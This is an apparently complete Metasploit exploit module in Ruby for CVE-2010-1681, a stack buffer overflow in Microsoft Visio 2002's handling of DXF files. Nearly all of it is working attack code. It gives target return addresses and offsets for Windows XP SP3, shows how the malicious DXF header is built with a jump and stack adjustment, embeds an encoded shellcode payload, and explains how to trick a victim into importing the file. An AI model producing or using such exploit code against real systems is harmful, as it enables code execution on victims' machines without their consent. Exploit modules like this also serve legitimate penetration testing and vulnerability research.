Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability

                                                ##
# $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/##
# CVE,2010-1681
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability',
            'Description'    => %q{
                    This module exploits a stack based overflow vulnerability in the handling
                of the DXF files by Microsoft Visio 2002. Revisions prior to the release of
                the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application
                is used to import a specially crafted DXF file, while parsing the HEADER section
                of the DXF file.
 
                To trigger the vulnerability an attacker must convince someone to insert a
                specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'
                },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'CORE Security',  # original discovery
                    'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis
                    'juan vazquez', # metasploit module
                ],
            'Version'        => '$Revision: 13034 $',
            'References'     =>
                [
                    [ 'CVE','2010-1681' ],
                    [ 'OSVDB', '64446' ],
                    [ 'BID', '39836' ],
                    [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],
                    [ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload' =>
                {
                    'Space'         => 2000,
                    'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
                    'DisableNops'   => true, # no need
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX'
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Microsoft Office Visio 2002
                    # VISIO.EXE v10.0.525.4
                    # VISIODWG.DLL v10.0.525.4
                    # ECXAdjust:
                    # 0x8 => ESP points to the prepended shellcode
                    # 0x1A => Padding
                    # 0x2 => len(push esp, pop ecx)
                    # 0x3 => len(sub)
                    # 0x6 => len(add)
                    [
                        'Visio 2002 English on Windows XP SP3 Spanish',
                        {
                            'Ret'         => 0x6173345c, # push esp, ret from VISIODWG.DLL
                            'Offset'      => 0x50,       # EIP
                            'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment
                            'ECXAdjust'   => 0x2D
                        }
                    ],
                    [
                        'Visio 2002 English on Windows XP SP3 English',
                        {
                            'Ret'         => 0x60455F6B, # push esp, ret from VISLIB.DLL
                            'Offset'      => 0x50,       # EIP
                            'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment
                            'ECXAdjust'   => 0x2D,
                        }
                    ],
                ],
            'DisclosureDate' => 'May 04 2010'))
 
        register_options(
            [
                OptString.new('FILENAME',   [ true, 'The file name.',  'msf.dxf']),
            ], self.class)
    end
 
    def exploit
        content = "0\n"
        content << "SECTION\n"
        content << "2\n"
        content << "HEADER\n"
        content << "9\n"
        content << "$ACADMAINTVER"
        content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length)
        content << [target.ret].pack('V') # new ret
        content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops)
        content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions
        content << rand_text_alpha(0x1A) # jumped by the short jump
        # Get in ECX a pointer to the shellcode start
        content << "\x54" # push esp
        content << "\x59" # pop ecx
        # ecx adjustment
        content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true)
        # Stack adjustment
        content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
        content << payload.encoded
        content << "\n"
        content << "0\n"
        content << "ENDSEC\n"
        content << "0\n"
        content << "EOF\n"
 
        print_status("Creating #{datastore['FILENAME']} ...")
        file_create(content)
    end
 
end